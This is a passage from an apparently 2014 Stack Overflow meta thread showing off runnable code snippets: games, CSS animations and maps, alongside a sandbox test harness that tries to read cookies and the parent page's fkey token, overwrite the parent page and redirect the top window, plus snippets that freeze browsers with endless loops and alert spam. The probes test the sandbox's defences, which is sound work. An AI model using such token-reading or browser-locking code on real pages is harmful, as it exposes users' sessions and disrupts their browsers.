Doesn't fit on one line in Firefox 31 on Ubuntu.Nathan Osman– Nathan Osman2014-08-27 02:27:57 +00:00Commented Aug 27, 2014 at 2:27
-
6
-
1And here I am still hoping for a picture of Finn and Jake in the snippet output...
:(Bojangles– Bojangles2014-08-27 16:59:38 +00:00Commented Aug 27, 2014 at 16:59 -
@dav_i When this one first popped up, I was fighting not to put that exact comment. This is a very well-written snippet, though!Kendra– Kendra2014-08-27 17:35:05 +00:00Commented Aug 27, 2014 at 17:35
-
Run the snippet to crash your browser.
var s=' ';while(1)s+=' ';-
48I run it anyway and Firefox stopped responding. I closed the tab and it closed nicely. "Yeah! it didn't crash!". Than it crashed. Browsers are stupid.Kobi– Kobi2014-08-26 06:00:43 +00:00Commented Aug 26, 2014 at 6:00
-
8Freezes the tab in ChromeUmur Kontacı– Umur Kontacı2014-08-26 07:50:05 +00:00Commented Aug 26, 2014 at 7:50
-
2Would crash the tab in OperaGOTO 0– GOTO 02014-08-26 15:42:19 +00:00Commented Aug 26, 2014 at 15:42
-
ran in firefox, 30 second wait, back to normal, I was expecting the "script is unresponsive" popup but nothing19greg96– 19greg962014-08-26 16:13:59 +00:00Commented Aug 26, 2014 at 16:13
-
2
-
4wow.. ! after clicking my chrome went froze even i can't upvote the ans...Raja Simon– Raja Simon2014-09-03 08:14:38 +00:00Commented Sep 3, 2014 at 8:14
-
1That filled my RAM with 2Go of spacesAlcalyn– Alcalyn2014-11-28 09:42:11 +00:00Commented Nov 28, 2014 at 9:42
-
IE10 seems to be immune, in the same way as FF.m69 ''snarky and unwelcoming''– m69 ''snarky and unwelcoming''2016-04-29 13:11:15 +00:00Commented Apr 29, 2016 at 13:11
-
6I'm dumb. I was scrolling through to try each snippet and clicked the "run" button before reading the description.Stevoisiak– Stevoisiak2017-08-04 13:19:08 +00:00Commented Aug 4, 2017 at 13:19
-
Failed. Only laggs tabTrooper Z– Trooper Z2018-08-23 23:46:08 +00:00Commented Aug 23, 2018 at 23:46
-
Safari just refreshed the page :pcobrexus– cobrexus2020-06-09 12:49:39 +00:00Commented Jun 9, 2020 at 12:49
Things that currently are nicely sandboxed (feel free to add things you tried that didn't work):
var TESTS = {
"Trashing the parent": function() {
parent.document.querySelector("body").innerHTML = "Much evil!";
},
"Reading cookies": function() {
var evil = document.cookie;
},
"Getting fkey": function() {
var evil = parent.StackExchange.options.user.fkey;
},
"Listen to messages in parent": function() {
parent.addEventListener( "message", function( m ) { console.log( m ); }, false );
},
"Send user to different page": function() {
window.top.location.assign( "http://example.com" );
throw new Error("window.top.location.assign doesn't work");
}
};
$(function() {
var resultTemplate = $("#resultTemplate").html();
var pass = $("#pass"), fail = $("#fail");
Object.keys(TESTS).forEach(function(testName) {
var test = TESTS[testName];
try {
test();
fail.append(errorTemplate(testName, test));
} catch (e) {
pass.append(errorTemplate(testName, test, e));
}
});
function errorTemplate(name, test, error) {
return resultTemplate.replace("{name}", name)
.replace("{code}", test.toString())
.replace("{error}", error);
}
});code {
white-space: pre-wrap;
}
#pass dt {
color: #12AA33;
}
#pass dt::after {
content: "✓";
display: inline-block;
font-size: 1.25em;
font-weight: bold;
margin-left: .25em;
}
#pass dt + dd { display: none; }
#fail dt {
color: #AA1233;
}
#fail dt::after {
content: "✘";
display: inline-block;
font-size: 1.25em;
font-weight: bold;
margin-left: .25em;
}<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<dl id="fail"></dl>
<h2>Looks like we are protected against the following:</h2>
<dl id="pass"></dl>
<script type="test/template" id="resultTemplate">
<dt>{name}</dt>
<dd>Running:
<pre><code>{code}</code></pre>
Resulted in the following:
<pre><code>{error}</code></pre></dd>
</script>-
Is this meant to fail? "SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame."Carcigenicate– Carcigenicate2014-08-26 00:33:23 +00:00Commented Aug 26, 2014 at 0:33
-
10Yes, it is meant to fail. If either of those worked, this feature would have issues. Feel free to try other more complicated exploits - lots of stuff is closed down by the very nice setup (iframe in another domain, locked down so that JS doesn't even have access to cookies).Sean Vieira– Sean Vieira2014-08-26 01:31:48 +00:00Commented Aug 26, 2014 at 1:31
-
Unfortunately, I don't know any of the supported languages. Until Haskell allows this kind of programing, I'm SOL.Carcigenicate– Carcigenicate2014-08-26 01:34:47 +00:00Commented Aug 26, 2014 at 1:34
-
3@Kyllopardiun - I updated the runner to show checkboxes for security tests where the browser succeeded in blocking the "attack". Security holes will show up in red with a full stack trace, but good security measures will show up with a green checkmark next to them.Sean Vieira– Sean Vieira2014-08-26 15:55:25 +00:00Commented Aug 26, 2014 at 15:55
-
Thanks for explaining. I thought there was some issues with firefox considering the previous comments.Mansueli– Mansueli2014-08-26 16:00:33 +00:00Commented Aug 26, 2014 at 16:00
-
Haney's answer demonstrates that code snippets cannot log users out.Stevoisiak– Stevoisiak2017-08-04 13:39:04 +00:00Commented Aug 4, 2017 at 13:39
Interesting to see how d3.js and SVG work...
I borrowed the code from a d3 tutorial to test:
http://bl.ocks.org/mbostock/1125997
var margin = {top: 40, right: 40, bottom: 40, left: 40},
width = 420 - margin.left - margin.right,
height = 180 - margin.top - margin.bottom;
var y = d3.scale.ordinal()
.domain(d3.range(25))
.rangePoints([0, height]);
var z = d3.scale.linear()
.domain([10, 0])
.range(["hsl(62,100%,90%)", "hsl(228,30%,20%)"])
.interpolate(d3.interpolateHcl);
var svg = d3.select("body").append("svg")
.attr("width", width + margin.left + margin.right)
.attr("height", height + margin.top + margin.bottom)
.append("g")
.attr("transform", "translate(" + margin.left + "," + margin.top + ")");
svg.selectAll("circle")
.data(y.domain())
.enter().append("circle")
.attr("r", 12)
.attr("cx", 0)
.attr("cy", y)
.style("fill", function(d) { return z(Math.abs(d % 20 - 10)); })
.transition()
.duration(2500)
.delay(function(d) { return d * 40; })
.each(slide);
function slide() {
var circle = d3.select(this);
(function repeat() {
circle = circle.transition()
.attr("cx", width)
.transition()
.attr("cx", 0)
.each("end", repeat);
})();
}circle {
fill: #000;
stroke: #000;
stroke-width: 1.5px;
}<script src="https://d3js.org/d3.v3.min.js"></script>-
15This one is super cool. I love D3.2014-08-26 14:46:00 +00:00Commented Aug 26, 2014 at 14:46
SPAM ME ! Recurse test (Uncaught RangeError: Maximum call stack size exceeded )
NOTE: (IE 8/9 doesn't support console.log on normal window), try this with your dev tools open
IMP: Try it an window you don't bother to lose.
function recurse(){alert('');console.log('spam me');recurse();};recurse();UPDATE 1: Spam the document window (IE 8/9 doesn't support console.log on normal window)
function recurse(){alert('');document.write('spam me');recurse();};recurse();-
2whoa! Maximum call stack. Nicely done!Thomas Bates– Thomas Bates2014-08-25 22:00:21 +00:00Commented Aug 25, 2014 at 22:00
-
4Not my current Firefox (31.0) :(2014-08-25 22:17:56 +00:00Commented Aug 25, 2014 at 22:17
-
1IE9 seems to prevent it.Lightness Races in Orbit– Lightness Races in Orbit2014-08-25 22:19:28 +00:00Commented Aug 25, 2014 at 22:19
-
21Wow, IE9 did something better than FF? I'm in shock.2014-08-25 22:31:20 +00:00Commented Aug 25, 2014 at 22:31
-
125This should be easy to solve. All we have to do is detect whether the code will ever terminate and... oh wait.2014-08-25 22:33:19 +00:00Commented Aug 25, 2014 at 22:33
-
3@DavidFullerton nice. I hadn't thought to make reference to the Halting Problem. ;)2014-08-25 22:49:39 +00:00Commented Aug 25, 2014 at 22:49
-
10This doesn't get blocked automatically by Chrome, but it gives you an option to "block further dialogs"Carcigenicate– Carcigenicate2014-08-26 00:35:44 +00:00Commented Aug 26, 2014 at 0:35
-
34I think this gets plus points for being the first to abuse the feature. :D:D:DMysticial– Mysticial2014-08-26 01:35:19 +00:00Commented Aug 26, 2014 at 1:35
-
@LightnessRacesinOrbit that's very strange--I had to end my IE 11 task in Task Manager. It definitely didn't intervene. Unless there's some setting for that, but I really can't imagine there would be.Matthew Haugen– Matthew Haugen2014-08-26 05:07:30 +00:00Commented Aug 26, 2014 at 5:07
-
23@Haney I figured it out. It looks like IE9 was better than Firefox, but they fixed that in IE11 so now it's less smart again. Phew. That was a close one.Matthew Haugen– Matthew Haugen2014-08-26 05:08:50 +00:00Commented Aug 26, 2014 at 5:08
-
7@DavidFullerton - JS Bin does have some protection from infinite loops and bad performance in general: jsbin.com/blog/protection , including an open source loop protection module: github.com/jsbin/loop-protect . It's easy to say "halting problem" and give up, but it turns out there is a lot you can do to help your users.Kobi– Kobi2014-08-26 08:29:24 +00:00Commented Aug 26, 2014 at 8:29
-
6@Haney: On second popup, firefox asks if I want to stop showing popups.user2591612– user25916122014-08-26 10:48:10 +00:00Commented Aug 26, 2014 at 10:48
-
7Safari, on iPad Air, is successfully unusable after this. >.<David Thomas– David Thomas2014-08-26 12:49:53 +00:00Commented Aug 26, 2014 at 12:49
-
2Maybe things like this should be hooked so they can be limited, e.g.
window.alert = alertHookwhere alertHook would only show an alert up to n times.Chad Levy– Chad Levy2014-08-26 23:47:15 +00:00Commented Aug 26, 2014 at 23:47 -
2Firefox 31.0 gives the option of blocking it as well.nico– nico2014-08-27 14:25:54 +00:00Commented Aug 27, 2014 at 14:25
Burnanating a greeting:
body {
background-color: #000;
padding: 1em;
}
h1 {
text-align: center;
margin-top:3em;
}
span {
color: #fff;
font-size:1.5em;
}
.fire {
animation: animation 1s ease-in-out infinite alternate;
-moz-animation: animation 1s ease-in-out infinite alternate;
-webkit-animation: animation 1s ease-in-out infinite alternate;
-o-animation: animation 1s ease-in-out infinite alternate;
}
.burn {
animation: animation .65s ease-in-out infinite alternate;
-moz-animation: animation .65s ease-in-out infinite alternate;
-webkit-animation: animation .65s ease-in-out infinite alternate;
-o-animation: animation .65s ease-in-out infinite alternate;
}
@keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #feec85,
-20px -20px 40px #ffae34,
20px -40px 50px #ec760c,
-20px -60px 60px #cd4606,
0 -80px 70px #973716,
10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #fefcc9,
-20px -20px 40px #feec85,
22px -42px 60px #ffae34,
-22px -58px 50px #ec760c,
0 -82px 80px #cd4606,
10px -90px 80px #973716;}
}
@-moz-keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #feec85,
-20px -20px 40px #ffae34,
20px -40px 50px #ec760c,
-20px -60px 60px #cd4606,
0 -80px 70px #973716,
10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #fefcc9,
-20px -20px 40px #feec85,
22px -42px 60px #ffae34,
-22px -58px 50px #ec760c,
0 -82px 80px #cd4606,
10px -90px 80px #973716;}
}
@-webkit-keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #feec85,
-20px -20px 40px #ffae34,
20px -40px 50px #ec760c,
-20px -60px 60px #cd4606,
0 -80px 70px #973716,
10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #fefcc9,
-20px -20px 40px #feec85,
22px -42px 60px #ffae34,
-22px -58px 50px #ec760c,
0 -82px 80px #cd4606,
10px -90px 80px #973716;}
}
@-o-keyframes animation
{
0% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #feec85,
-20px -20px 40px #ffae34,
20px -40px 50px #ec760c,
-20px -60px 60px #cd4606,
0 -80px 70px #973716,
10px -90px 80px #451b0e;}
100% {text-shadow: 0 0 20px #fefcc9,
10px -10px 30px #fefcc9,
-20px -20px 40px #feec85,
22px -42px 60px #ffae34,
-22px -58px 50px #ec760c,
0 -82px 80px #cd4606,
10px -90px 80px #973716;}
}<h1>
<span class="fire">[H</span><span class="burn">e</span><span class="fire">l</span><span class="burn">l</span><span class="fire">o</span><span class="burn">W</span><span class="fire">o</span><span class="burn">r</span><span class="fire">l</span><span class="burn">d</span><span class="fire">!]</span>
</h1>-
36Wow; this slows the page down quite a bit. I think we need a way to collapse these...AstroCB– AstroCB2014-08-26 02:43:18 +00:00Commented Aug 26, 2014 at 2:43
-
If you made it green/aqua, it'd look like the Aurora Borealis.mbomb007– mbomb0072015-03-04 20:00:12 +00:00Commented Mar 4, 2015 at 20:00
-
@AstroCB A "Hide Result" button was added at some pointStevoisiak– Stevoisiak2017-08-04 13:23:16 +00:00Commented Aug 4, 2017 at 13:23
How about a simple Canvas and Google maps snippet test?
var map;
function initialize() {
var mapOptions = {
zoom: 4,
center: new google.maps.LatLng(37.6,-95.665)
};
map = new google.maps.Map(document.getElementById('map-canvas'),
mapOptions);
}
google.maps.event.addDomListener(window, 'load', initialize);html, body, #map-canvas {
height: 100%;
margin: 0px;
padding: 0px
}<!DOCTYPE html>
<html>
<head>
<title>Simple Map</title>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no">
<meta charset="utf-8">
<style>
</style>
<script src="https://maps.googleapis.com/maps/api/js?v=3.exp"></script>
</head>
<div id="map-canvas"></div>
</body>
</html>-
12This is fairly mind blowing. Damn.2014-08-26 14:48:36 +00:00Commented Aug 26, 2014 at 14:48
-
1I remember when Street View blew my mind. Now you can apply it as an added gimmick to a SO question. It still blows my mind though.Camilo Martin– Camilo Martin2015-05-31 19:48:32 +00:00Commented May 31, 2015 at 19:48
-
1Oops! Something went wrong. This page didn't load Google Maps correctly. See the JavaScript console for technical details.Sabito– Sabito2020-10-07 10:41:49 +00:00Commented Oct 7, 2020 at 10:41
Tetris
Left - move left.
Right - move right.
Up - rotate clockwise.
Down - accelerate.
var fs = "1111:01|01|01|01*011|110:010|011|001*110|011:001|011|010*111|010:01|11|01:010|111:10|11|10*11|11*010|010|011:111|100:11|01|01:001|111*01|01|11:100|111:11|10|10:111|001", now = [3,0], pos = [4,0];
var gP = function(x,y) { return document.querySelector('[data-y="'+y+'"] [data-x="'+x+'"]'); };
var draw = function(ch, cls) {
var f = fs.split('*')[now[0]].split(':')[now[1]].split('|').map(function(a){return a.split('')});
for(var y=0; y<f.length; y++){
for(var x=0; x<f[y].length; x++){
if(f[y][x]=='1') {
if(x+pos[0]+ch[0]>9||x+pos[0]+ch[0]<0||y+pos[1]+ch[1]>19||gP(x+pos[0]+ch[0],y+pos[1]+ch[1]).classList.contains('on')) return false;
gP(x+pos[0]+ch[0], y+pos[1]+ch[1]).classList.add(cls!==undefined?cls:'now');
}
}
}
pos = [pos[0]+ch[0], pos[1]+ch[1]];
};
var deDraw = function(){ if(document.querySelectorAll('.now').length>0) deDraw(document.querySelector('.now').classList.remove('now')); };
var check = function(){
for(var i=0; i<20; i++)
if(document.querySelectorAll('[data-y="'+i+'"] .brick.on').length == 10)
return check(roll(i), document.querySelector('#result').innerHTML=Math.floor(document.querySelector('#result').innerHTML)+10);
};
var roll = function(ln){ if(false !== (document.querySelector('[data-y="'+ln+'"]').innerHTML = document.querySelector('[data-y="'+(ln-1)+'"]').innerHTML) && ln>1) roll(ln-1); };
window.addEventListener('keydown', kdf = function(e){
if(e.keyCode==38&&false!==(now[1]=((prv=now[1])+1)%fs.split('*')[now[0]].split(':').length) && false===draw([0,0], undefined, deDraw())) draw([0,0],undefined, deDraw(), now=[now[0],prv]);
if((e.keyCode==39||e.keyCode==37)&&false===draw([e.keyCode==39?1:-1,0],undefined,deDraw())) draw([0,0],undefined,deDraw());
if(e.keyCode == 40)
if(false === draw([0,1], undefined, deDraw())) {
if(draw([0,0], 'on', deDraw())||true) check();
if(false === draw([0,0], undefined, now = [Math.floor(Math.random()*fs.split('*').length),0], pos = [4,0])) {
toV=-1;
alert('Your score: '+document.querySelector('#result').innerHTML);
}
}
});
toF = function() {
kdf({keyCode:40});
setTimeout(function(){if(toV>=0)toF();}, toV=toV>0?toV-0.5:toV);
};
toF(toV = 500);#stack {
width: 130px;
height: 260px;
border: solid 1px black;
border-top: 0px;
}
.brick {
width: 11px;
height: 11px;
border: solid 1px white;
background: white;
float: left;
}
.brick.on {
background: black;
}
.brick.now {
background: green;
}<div class="score">score: <span id="result">0</span></div>
<div id="stack">
<div data-y="0" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="1" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="2" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="3" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="4" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="5" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="6" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="7" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="8" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="9" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="10" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="11" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="12" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="13" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="14" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="15" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="16" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="17" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="18" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
<div data-y="19" class="line">
<div data-x="0" class="brick"></div><div data-x="1" class="brick"></div><div data-x="2" class="brick"></div><div data-x="3" class="brick"></div><div data-x="4" class="brick"></div><div data-x="5" class="brick"></div><div data-x="6" class="brick"></div><div data-x="7" class="brick"></div><div data-x="8" class="brick"></div><div data-x="9" class="brick"></div>
</div>
</div>-
JavaScript in snippets get minified. Missing semicolons or accolades can break your code.Cerbrus– Cerbrus2014-08-27 07:10:35 +00:00Commented Aug 27, 2014 at 7:10
-
8That's another half an hour I'm not getting back..nhaarman– nhaarman2014-08-27 19:52:59 +00:00Commented Aug 27, 2014 at 19:52
-
28Congratulations on delaying the release of an upgraded version of Snippets by another half hour. So fun.2014-09-04 21:22:04 +00:00Commented Sep 4, 2014 at 21:22
-
Hah!! Too addictive! Kill it before it lay eggs...0xC0DED00D– 0xC0DED00D2014-09-10 21:48:04 +00:00Commented Sep 10, 2014 at 21:48
PHP Code
(don't mind the scrollbar)
<?php ?><script>
$store = array(0, 1, 0, 1, 0, 0); function array(){ return [].slice.apply(arguments) }var preg_replace=function(regex,w,str){var re=regex.split('/').splice(1,2);re[1]+='g';return str.replace(RegExp.apply(0,re),w)},str_split=function(s,n){var a=[],n=n||1;for(var i=0;i<s.length;i+=n)a.push(s[i]);return a;},implode=function(w,a){return a.join(w)},var_dump=function(t){document.write((typeof t=='object'?(t.length>-1?'array':'object'):typeof t)+(t.length!==void 0?'('+t.length+')':'')+' '+JSON.stringify(t).replace(/\[/,'{').replace(/\]/,'}').replace(/,([^,])/g,', $1'))},styl=document.createElement('style');styl.innerHTML='body{font-family:monospace}';document.head.appendChild(styl);
$check = str_split(preg_replace('/10/','1',implode('',$store)));
var_dump($check); </script><?php
?>-
21This blew my mind, then really pissed me off, then made me laugh. Great work.2015-02-23 18:15:08 +00:00Commented Feb 23, 2015 at 18:15
Some crazy CSS 3D transforms and animation. Why not?
(this is adapted from the code at http://desandro.github.io/3dtransforms/docs/cube.html)
@keyframes rotate {
from {
transform: translateZ(-300px) translateY(0px) rotateY(0deg) rotateZ(50deg) rotateX(0deg);
}
50% {
transform: translateZ(-300px) translateY(0px) rotateY(180deg) rotateZ(30deg) rotateX(100deg);
}
to {
transform: translateZ(-300px) translateY(0px) rotateY(360deg) rotateZ(50deg) rotateX(0deg);
}
}
.container {
width: 200px;
height: 200px;
position: relative;
margin: 40px auto 0 auto;
border: 1px solid #CCC;
perspective: 1000px;
}
#cube {
width: 100%;
height: 100%;
position: absolute;
top: -120px;
transform: translateZ(-100px) translateY(100px);
transform-style: preserve-3d;
transition: transform 1s;
animation: rotate 2s ease-in 1s infinite;
}
#cube figure {
display: block;
position: absolute;
width: 196px;
height: 196px;
border: 2px solid black;
line-height: 196px;
font-size: 120px;
font-weight: bold;
color: #000;
text-align: center;
background: rgba(255,255,255,0.5) !important;
}
#cube .front {
background: hsla(0, 100%, 50%, 0.7);
transform: translateZ(100px);
}
#cube .back {
background: hsla(60, 100%, 50%, 0.7);
transform: rotateX(-180deg) translateZ(100px);
}
#cube .right {
background: hsla(120, 100%, 50%, 0.7);
transform: rotateY(90deg) translateZ(100px);
}
#cube .left {
background: hsla(180, 100%, 50%, 0.7);
transform: rotateY(-90deg) translateZ(100px);
}
#cube .top {
background: hsla(240, 100%, 50%, 0.7);
transform: rotateX(90deg) translateZ(100px);
}
#cube .bottom {
background: hsla(300, 100%, 50%, 0.7);
transform: rotateX(-90deg) translateZ(100px);
}<script src="//cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
<section class="container">
<div id="cube" class="show-right">
<figure class="front">⚀</figure>
<figure class="back">⚁</figure>
<figure class="right">⚂</figure>
<figure class="left">⚃</figure>
<figure class="top">⚄</figure>
<figure class="bottom">⚅</figure>
</div>
</section>-
11This is pretty slick!2014-08-28 20:24:15 +00:00Commented Aug 28, 2014 at 20:24
-
4and the unicode is still highlightable in the render! ⚀ ⚁ ⚂ ⚃ ⚄ ⚅ !purho– purho2019-04-06 21:09:16 +00:00Commented Apr 6, 2019 at 21:09
This should have been done way sooner.
document.write('Hello World!')div:before {
content: "Hello World!";
display: block;
}<div>Hello World!</div>-
WebKit is only willing to recurse 3 times.tbodt– tbodt2014-08-29 20:08:08 +00:00Commented Aug 29, 2014 at 20:08
-
11@tbodt, why would it be recursing at all? It's writing hello world in three different ways, one with javascript, one with html, and one with CSS on the sole element in the body tag.2014-08-29 20:09:31 +00:00Commented Aug 29, 2014 at 20:09
The good old <marquee> ;)
<marquee>I am an unicorn and I eat other unicorns.</marquee>-
13Wow that still works! <nostalgia>Martin Capodici– Martin Capodici2014-09-01 21:48:54 +00:00Commented Sep 1, 2014 at 21:48
-
2NOOOOOOOOOOOOOOOOOOOOOOOH!User that hates AI– User that hates AI2017-12-24 08:54:10 +00:00Commented Dec 24, 2017 at 8:54
The Wheel of Blame!
$(function () {
$.getJSON('http://anyorigin.com/get?url=' + encodeURIComponent('http://chat.meta.stackoverflow.com/rooms/info/89/tavern-on-the-meta') + '&callback=?', function (data) {
parser = new DOMParser();
htmlDoc = parser.parseFromString(data.contents, "text/html");
var a = htmlDoc.getElementsByClassName('username');
var b = htmlDoc.getElementsByClassName('user-gravatar48');
var c = document.getElementsByTagName('ul')[0];
for (var i = 0; i < a.length; i++) {
c.innerHTML = c.innerHTML + "<li><img src='" + b[i].src + "'/>It's " + a[i].innerHTML + '\'s fault!</li>';
}
var li = $('ul li'),
spinBtn = $('#spin');
for (var i = 0; i < 3; i++) {
li.clone().appendTo('ul');
}
var randNum;
function spin() {
randNum = Math.random();
spinBtn.attr('disabled', true).text('Hang on!');
li.first().animate({
marginTop: -(li.first().outerHeight(true) * (Math.floor(randNum * li.length * 2) + li.length * 2)) - 2
}, 5000, 'easeOutQuad', function () {
spinBtn.attr('disabled', false).text('Spin Again!');
});
}
spinBtn.click(function () {
li.first().css('margin-top', 0);
spin();
return false;
});
spin();
});
});body {
font-family: Arial, sans-serif;
margin: 20px;
}
.clearfix {
clear: both;
}
ul {
float: left;
margin-left: 20px;
height: 24px;
background-color: #efefef;
padding: 10px 20px 10px 10px;
overflow: hidden;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-radius: 3px;
-moz-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3);
}
ul li {
font-size: 20px;
margin-bottom: 30px;
}
ul li img {
width: 24px;
height: 24px;
margin-right: 5px;
vertical-align: bottom;
}
#csharp {
display: inline-block;
width: 24px;
margin-right: 5px;
}
#blame {
float: left;
font-size: 12px;
margin-top: 15px;
}
#spin {
float: left;
margin: -5px 0 0 15px;
padding: 1px 3px 2px;
}
#sub {
font-size: 11px;
color: #ccc;
clear: both;
padding-top: 20px;
}
#sub a {
color: #346C95;
}
#sub a:hover {
color: #59B3EF;
}
#sub code {
font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace;
}
#spin {
position:absolute;
-moz-box-shadow:inset 0px 0px 0px 0px #fce2c1;
-webkit-box-shadow:inset 0px 0px 0px 0px #fce2c1;
box-shadow:inset 0px 0px 0px 0px #fce2c1;
background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #ffc477), color-stop(1, #fb9e25) );
background:-moz-linear-gradient( center top, #ffc477 5%, #fb9e25 100% );
